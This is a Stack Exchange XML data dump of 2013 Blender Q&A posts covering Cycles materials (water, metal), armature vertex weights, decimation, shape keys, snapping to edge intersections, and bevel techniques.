  <row Id="788" PostTypeId="2" ParentId="64" CreationDate="2013-06-09T21:48:39.850" Score="23" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eblQk.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that using a simple glass glass node works. Also it would help to mix in a refraction node and set the IOR to &lt;code&gt;1.333&lt;/code&gt;, which is the IOR of water. If you want foam use a voronoi crackle texture node and invert the alpha so that the &quot;crackles&quot; give the reflection as white and it looks foamy. You will have to tweak the setting to get it looking the way you want it. The look of your water also depends on your lighting. Always Model, then Light, then create your materials and texture, and finally post processing.&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="12" LastEditDate="2013-06-13T13:44:47.277" LastActivityDate="2013-06-13T13:44:47.277" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="789" PostTypeId="2" ParentId="782" CreationDate="2013-06-09T21:53:57.167" Score="5" Body="&lt;p&gt;Try using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and select automatic weights, to parent the mesh to the armatures to automatically create the vertex groups.&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorUserId="20" LastEditDate="2013-06-09T22:51:13.087" LastActivityDate="2013-06-09T22:51:13.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="790" PostTypeId="2" ParentId="736" CreationDate="2013-06-09T21:55:12.007" Score="1" Body="&lt;p&gt;A more makeshift solution might be setting up cameras to render small sections of the scene, and then stitching the, together with a panorama program. Could take a while, though.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2013-06-09T21:55:12.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="791" PostTypeId="2" ParentId="67" CreationDate="2013-06-09T22:02:57.460" Score="2" Body="&lt;p&gt;If you're looking to reverse the &lt;strong&gt;Subdivision Surface&lt;/strong&gt; modifier, try the &lt;strong&gt;Decimate Modifier&lt;/strong&gt; on &lt;strong&gt;Un-Subdivide&lt;/strong&gt; mode. I find that you should usually double the subsurf level in the decimate modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these Suzannes has been subdivided twice and then un-subdivided four times with the Decimate modifier. How well do you know your Suzannes? Which is which?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bnSvN.png&quot; alt=&quot;Two Suzanne meshes &amp;ndash; which is the original?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also take a look at a smooth-shaded version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V6jGt.png&quot; alt=&quot;Smooth version of above image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Original face count: 500; processed face count: 699.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-06-09T22:02:57.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="792" PostTypeId="2" ParentId="782" CreationDate="2013-06-09T22:05:14.203" Score="24" Body="&lt;p&gt;If you first select the mesh and then the armature and use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;Armature Deform&lt;/em&gt; &gt; &lt;em&gt;With Automatic Weights&lt;/em&gt;, this will generate a vertex group for the part of the mesh that corresponds to the bone in the armature. &lt;em&gt;(this is dependent on how many bones are in the armature and or how much geometry the mesh has)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use either &lt;em&gt;Edit&lt;/em&gt; or &lt;em&gt;Weight Paint&lt;/em&gt; mode to tweak what parts of your mesh are affected by each group, to quickly select a group and see the selection, you can go to the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups&quot;&gt;Vertex Groups&lt;/a&gt;&lt;/em&gt; panel in the &lt;em&gt;Object Data&lt;/em&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FCshL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can also parent the mesh to the armature as empty groups..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ILFpQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then select the bone while in &lt;em&gt;Pose Mode&lt;/em&gt;, open the &lt;em&gt;Specials&lt;/em&gt; menu with &lt;kbd&gt;W&lt;/kbd&gt; or from the weight paint view header and choose &lt;em&gt;Assign Automatic from Bones&lt;/em&gt;, this can give you a bit more control over how your groups are created as you can see it on the fly and edit it further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5SwC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-09T23:52:31.117" LastActivityDate="2013-06-09T23:52:31.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="793" PostTypeId="2" ParentId="782" CreationDate="2013-06-09T22:09:15.657" Score="4" Body="&lt;p&gt;From the &lt;a href=&quot;http://www.blender.org/development/release-logs/blender-246/skinning/&quot; rel=&quot;nofollow&quot;&gt;Release Logs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A new method to create vertex weights for bone deformation was added, next to the existing method based on envelopes. The new bone heat method often generates better results, and does not require setting a radius for bones.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It can be used when parenting a mesh to an armature by selecting &quot;Create From Bone Heat&quot; from the available options. After parenting or adding an armature modifier, it can also be used in the combined weight paint and pose mode, using the W key, and choosing &quot;Apply Bone Heat to Vertex Groups&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This features have since been renamed in the menus &quot;With Automatic Weights&quot; and &quot;Assign Automatic from Bones&quot; respectively.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-06-09T23:03:05.267" LastActivityDate="2013-06-09T23:03:05.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="794" PostTypeId="1" AcceptedAnswerId="804" CreationDate="2013-06-09T22:30:10.993" Score="14" ViewCount="33219" Body="&lt;p&gt;I'm trying to make a gun for an alien space ship and I need to know how to create a dark gray metal look. I have tried mixing a Diffuse and Glossy BSDF, but it isn't quite what I am looking for. I need some light falloff to help get that &quot;extra touch&quot;, but I don't know how to do that.&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="372" LastEditDate="2013-06-09T22:54:39.083" LastActivityDate="2015-05-26T21:43:21.507" Title="How do I create metal materials in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="795" PostTypeId="2" ParentId="164" CreationDate="2013-06-09T22:38:50.223" Score="18" Body="&lt;p&gt;Jonathan's answer is correct. However, your original question states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I know I can use shape keys to achieve something similar, but modifiers would make it &lt;strong&gt;easier and smoother.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(emphasis mine)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, properties that can only have integer values (i.e., no decimals) can only be animated with constant interpolation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMkKT.png&quot; alt=&quot;Constant interpolation in the graph editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is, by any definition, the exact opposite of smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want it to be smooth, &lt;strong&gt;consider using a shape key!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Subdivide your mesh however many times you want in Edit Mode.&lt;/li&gt;&#xA;&lt;li&gt;Add a shape key.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;strong&gt;Smooth Vertex&lt;/strong&gt; in the toolbox and adjust the iteration count (10 works well for two levels of subdivision).&lt;/li&gt;&#xA;&lt;li&gt;Animate the shape key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will get you a nice Bezi&amp;eacute;r (or linear, if you prefer) interpolation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sz6IW.png&quot; alt=&quot;Bezi&amp;eacute;r interpolation in the graph editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've prepared &lt;a href=&quot;https://vimeo.com/68009707&quot; rel=&quot;noreferrer&quot;&gt;a video&lt;/a&gt; to demonstrate the difference. The first part of the video uses the shape key method, while the second part uses a modifier with the &quot;Levels&quot; property animated.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-13T03:25:22.460" LastActivityDate="2013-08-13T03:25:22.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="797" PostTypeId="5" CreationDate="2013-06-09T23:01:16.007" Score="0" Body="&lt;p&gt;Vertex groups are mainly used to tag the vertices belonging to parts of a mesh object or Lattice. Think of the legs of a chair or the hinges of a door, or hands, arms, limbs, head, feet, etc. of a character. In addition you can assign different weight values (in the range 0 to 1) to the vertices within a vertex group. Hence vertex groups are sometimes also named ‘weight groups’.&lt;/p&gt;&#xA;&lt;h1&gt;Usage&lt;/h1&gt;&#xA;&lt;p&gt;Vertex groups are most commonly used for armatures. But they are also used in many other areas of Blender, like for example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Armature deformation (also called skinning)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shape keys&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modifiers&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Particle generators&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Physics simulations&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;More information at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/properties/vertex_groups/index.html#vertex-groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15924" LastEditorUserId="15924" LastEditDate="2020-11-05T06:22:46.050" LastActivityDate="2020-11-05T06:22:46.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="798" PostTypeId="4" CreationDate="2013-06-09T23:01:16.007" Score="0" Body="Vertex groups are a group of vertices from a mesh that allow specialized selections and or editing." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-11T07:39:20.590" LastActivityDate="2013-06-11T07:39:20.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="799" PostTypeId="5" CreationDate="2013-06-09T23:46:08.310" Score="0" Body="&lt;p&gt;Soft body simulation is used for simulating soft deformable objects. It was designed primarily for adding secondary motion to animation, like jiggle for body parts of a moving character.&lt;/p&gt;&#xA;&lt;p&gt;It also works for simulating more general soft objects that bend, deform and react to forces like gravity and wind, or collide with other objects.&lt;/p&gt;&#xA;&lt;p&gt;While it can simulate cloth and other stiff types of deformable objects to an extent, the Cloth Simulation can do it better with a solver specifically designed for this purpose.&lt;/p&gt;&#xA;&lt;p&gt;The simulation works by combining existing animation on the object with forces acting on it. There are exterior forces like gravity or force fields and interior forces that hold the vertices together. This way you can simulate the shapes that an object would take on in reality if it had volume, was filled with something, and was acted on by real forces.&lt;/p&gt;&#xA;&lt;p&gt;Soft bodies can interact with other objects through Collision. They can interact with themselves through Self-Collision.&lt;/p&gt;&#xA;&lt;p&gt;The result of the soft body simulation can be converted to a static object. You can also bake edit the simulation, i.e. edit intermediate results and run the simulation from there.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;More information at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/soft_body/index.html#soft-body&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15924" LastEditorUserId="15924" LastEditDate="2020-11-05T06:22:58.120" LastActivityDate="2020-11-05T06:22:58.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="800" PostTypeId="4" CreationDate="2013-06-09T23:46:08.310" Score="0" Body="Questions about soft body physics in Blender's soft body physics engine and Blender's game engine. Use this tag for question pertaining to soft body physics." OwnerUserId="20" LastEditorUserId="15924" LastEditDate="2020-11-05T06:23:42.863" LastActivityDate="2020-11-05T06:23:42.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="801" PostTypeId="1" AcceptedAnswerId="827" CreationDate="2013-06-10T01:17:02.670" Score="11" ViewCount="2630" Body="&lt;p&gt;I am looking around for a script that will allow me to trigger animation based on a file input. I'm using blender 2.67b, all the scripts I have seen are for 2.49.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerDisplayName="user471" LastEditorUserId="12" LastEditDate="2013-06-10T04:03:05.847" LastActivityDate="2013-06-17T08:01:49.343" Title="Midi driven animation in blender 2.6" Tags="&lt;scripting&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="802" PostTypeId="1" CreationDate="2013-06-10T03:06:00.697" Score="28" ViewCount="8683" Body="&lt;p&gt;I have developed several puzzles in Blender, and to test them I wanted to animate them.   The first problem I encountered was the rotation of an object around a central hub.   Between keyframes the object would cut across rather than follow the circular path.   To solve this I moved the origins to the centre of rotation, and that worked fine.   The next problem was to move the rotation of one or more of the objects to another hub.   This is where it gets a bit tricky!   It's not practical to have to keep changing individual origins for every keyframe.   I've tried parenting to the hubs but this doesn't make it any easier.   Perhaps there is a way with armatures?   Maybe I've missed something very basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a small demo to illustrate the kind of rotation I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aXLPu.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Keyframe 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U0wb3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Keyframe 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/43ScU.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Keyframe 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this stage there are three answers to my question, and all of them require constraint influences to be turned on or off for each object that needs to change its centre of rotation. Multiply this several times and it becomes a bit of a nightmare!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that to position the 3d cursor at the centre of the wheel and then select all the objects required to turn for each rotation might be easier than the answers so far, but I was hoping for something more straight forward than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't get me wrong, I do appreciate the effort you guys have put in so far, thanks. :)&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="470" LastEditDate="2013-06-11T02:21:50.510" LastActivityDate="2020-12-09T01:35:21.637" Title="How can I change the centre of rotation of objects during an animation?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="803" PostTypeId="2" ParentId="794" CreationDate="2013-06-10T04:32:05.063" Score="3" Body="&lt;p&gt;When recreating real-world materials you need to have a good mental model of how they behave and interact with light from different angles. Collect as many images as possible of the material, preferably under different lighting conditions. This collection can be an ongoing library of images for future reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If looking for tutorials, don't limit yourself to Blender centric tutorials or even specifically ones for Cycles. Material shading techniques are largely generalized concepts that apply to any type of shading system -- which is great because you get the best of the Blender world and the best of the terrabytes of non Blender tutorials.  &lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2013-06-10T04:32:05.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="804" PostTypeId="2" ParentId="794" CreationDate="2013-06-10T05:15:15.987" Score="16" Body="&lt;p&gt;I would recommend applying a normal map, using a glossy shader and then bumping up the roughness to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Example&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OCCY4.jpg&quot; alt=&quot;Example of metal shader in cycles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Here's what I did&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Glossy shader color (hex)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;616161&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Roughness amount&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.05&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Normal map&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIKMx.jpg&quot; alt=&quot;Cloud normal map for metals&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="404" LastActivityDate="2013-06-10T05:15:15.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="805" PostTypeId="1" AcceptedAnswerId="807" CreationDate="2013-06-10T06:23:38.837" Score="8" ViewCount="5550" Body="&lt;p&gt;I'm doing a lot of cleanup work after a bad boolean action, and in this scenario, some vertices are offset somehow and what I want to do is to reconnect them to the edge they are supposed to be attached to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sRHMA.png&quot; alt=&quot;X marks the spot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image above you can see the problem, the selected vertex is supposed to be attached to the edge I'm trying to snap to. The edge in question however is not perpendicular to the axis of the vertex I wish to snap, thus there is no telling when the vertex is accurately at the intersection of the z axis of the vertex and the edge, effectively making snap in this circumstance useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there were someone working on a GSoC with the goal on making more useful snapping, much more like wings or sketchup I believe. But since that isn't done yet, what are the workarounds to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;br&gt;&#xA;/Klesus&lt;/p&gt;&#xA;" OwnerUserId="477" LastEditorUserId="20508" LastEditDate="2016-07-30T12:12:26.870" LastActivityDate="2016-07-30T12:12:26.870" Title="Is there any good way to snap to intersection?" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="806" PostTypeId="1" CreationDate="2013-06-10T07:21:11.083" Score="3" ViewCount="2598" Body="&lt;p&gt;I checked blender &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ToDo&quot; rel=&quot;nofollow&quot;&gt;Cycles todo&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot; rel=&quot;nofollow&quot;&gt;Blender road map&lt;/a&gt; but I can't find any word about this feature for cycles. Is there a plan for that in near future?&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="181" LastEditDate="2013-06-10T11:26:36.913" LastActivityDate="2013-06-10T11:54:36.437" Title="Texture baking in cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="5" ClosedDate="2013-06-10T15:02:57.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="807" PostTypeId="2" ParentId="805" CreationDate="2013-06-10T08:46:51.110" Score="3" Body="&lt;p&gt;There is an addon called &lt;em&gt;dynamic spacebar menu&lt;/em&gt; which contains a small routine that can snap the 3d cursor to the intersection of two edges, it's available in &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;addons contrib&lt;/a&gt;. Here is the direct link to the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Dynamic_Spacebar_Menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page for it&lt;/a&gt; with a download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/255nj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After enabling the addon when you hit &lt;kbd&gt;space&lt;/kbd&gt; a different menu will appear, you will see &lt;code&gt;snap cursor menu&lt;/code&gt;, and inside that &lt;code&gt;cursor to edge intersection&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the intersection of the two edges doesn't lie exactly on either of the two edges, then the edges are considered lines with infinite length. When two lines aren't parallel and don't truly intersect you can imagine another line drawn between these two lines at the point where they are closest to each other. The point in space halfway on the imagined line will be returned as the intersection.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-10T18:08:01.457" LastActivityDate="2013-06-10T18:08:01.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="808" PostTypeId="2" ParentId="806" CreationDate="2013-06-10T10:10:52.990" Score="2" Body="&lt;p&gt;The feature currently isn't supported and there are no short term plans to add support, however this will likely be added at some point.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-10T10:10:52.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="809" PostTypeId="1" AcceptedAnswerId="816" CreationDate="2013-06-10T10:18:47.473" Score="10" ViewCount="1079" Body="&lt;p&gt;What does the 'Nabla' setting for a cloud texture do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing seems to be changing when i change the value. I'm tweaking a texture and i'm just curious how i can tweak it even better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tooltip says: &lt;em&gt;Size of derivative offset used for calculating normal.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="482" LastEditorUserId="12" LastEditDate="2013-06-10T11:49:39.400" LastActivityDate="2013-06-10T12:05:08.140" Title="'Nabla' setting for cloud texture" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="811" PostTypeId="1" AcceptedAnswerId="812" CreationDate="2013-06-10T10:55:14.243" Score="17" ViewCount="50643" Body="&lt;p&gt;In this simple model I first rounded the corner edges of the shape using bevel, with 16 segments (1st pic). Then I selected everything and applied a second very small bevel of 1 segment, to give the hard edges a softer look (2nd pic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am happy with how it looks, but is there a better way to do it? By better I mean more efficient, and looks as good or better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could use the subsurface modifier for rounded edges as well, but read that bevel is more efficient and gives more control. I guess the efficiency will be lost if I use too many segments. But I don't know at which point this becomes true; is it something I need to worry about, or is bevelling so much more efficient that it is not realistic that it ever becomes more costly than sub-surfacing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an even better way to handle the two types of rounding in this model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YoZbF.png&quot; alt=&quot;Bevel for the big rounded corners&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Zm7g6.png&quot; alt=&quot;Bevel for softer edges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="298" LastEditorUserId="12" LastEditDate="2013-06-10T11:41:25.537" LastActivityDate="2020-10-20T12:39:59.437" Title="Most efficient way to round edges" Tags="&lt;workflow&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="812" PostTypeId="2" ParentId="811" CreationDate="2013-06-10T11:24:36.763" Score="7" Body="&lt;p&gt;There &lt;em&gt;is&lt;/em&gt; no &lt;em&gt;most efficient&lt;/em&gt; way to effectively round edges, this is highly dependent on what type of object you are modeling, how much detail you want, how close you plan to render, the environment your model will be in etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to go about this, all &lt;em&gt;highly effective&lt;/em&gt; depending on the situation they are use in. I would recommend to continue beveling your edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Beveling is much more efficient and cheaper than subsurf, you also have better control of your geometry and topology. What you are doing above is using it &lt;em&gt;inefficiently&lt;/em&gt;, that shape could be just as rounded with fewer segments, You don't need more than a few or so segments on any edge at a time. It is also worth noting that since it is a modifier, any mistakes you make can be easily undone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are is an object duplicated twice and bevelled with different amount of segments, one has &lt;strong&gt;12&lt;/strong&gt; segments and the other has &lt;strong&gt;6&lt;/strong&gt;, can you immediately tell which one is &lt;em&gt;rounder&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUnNp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the wires..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9L8H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see &lt;em&gt;it is&lt;/em&gt; highly efficient, it's all in how you use it. As you have it above is overkill for such a simple object, you don't need more than a few segments to round out your edges depending on the complexity of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Also using &lt;em&gt;Shade Smooth&lt;/em&gt; on your hard surface models can help to make them appear more smooth/round and less faceted as I have done on the objects in the images above. You can also just smooth certain parts of your mesh by selecting the vertices/faces and using the same method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, feel free to use a mixture of modifiers to achieve your final shape or effect, for some objects it is better to use subsurf with edgeloops and for others, subsurf with creases etc. There is no one &lt;em&gt;good&lt;/em&gt; or &lt;em&gt;most&lt;/em&gt; efficient way to go about it, It all depends on what you need, the model being used and how well you as the artist can determine what the best way to go about it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can get more tips here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/247/how-can-i-make-sharp-geometric-3d-models-look-more-realistic/&quot;&gt;How can I make sharp geometric 3d models look more realistic?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/734/how-to-smooth-shade-an-object-with-hard-edges/&quot;&gt;How to smooth shade an object while retaining hard edges?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-08-25T03:07:05.707" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="814" PostTypeId="2" ParentId="806" CreationDate="2013-06-10T11:54:36.437" Score="6" Body="&lt;p&gt;There's only few people who can handle Cycles code well, their time is spent mostly on keeping the system stable and well supported. New developers are being introduced now, but there's always need for more people here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another issue is priority &amp;amp; focus... Cycles main target is to be a &quot;production rendering&quot; environment. Rendering with baked lighting is not commonly regarded as a good workflow, for that development time can be better spent on advanced optimizing (caches etc). The main use case is for making light maps for game environments, which is very relevant but not on the first priority list for the current core devs. &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-06-10T11:54:36.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="815" PostTypeId="1" AcceptedAnswerId="849" CreationDate="2013-06-10T12:01:51.250" Score="4" ViewCount="2013" Body="&lt;p&gt;I am trying to animate using Blender. I want to play 1000 frames per second, but Blender only seems to allow a maximum of 120. I am not super conscious about quality but I have thousand different states that I want to be played on screen in one second. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pick any 120 equal interval frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm okay if the answer requires Blender Python, too.&lt;/p&gt;&#xA;" OwnerDisplayName="user370" LastEditorUserId="20508" LastEditDate="2016-07-30T12:16:19.543" LastActivityDate="2016-07-30T12:16:19.543" Title="Play 1000 Frames Per Second in Blender" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
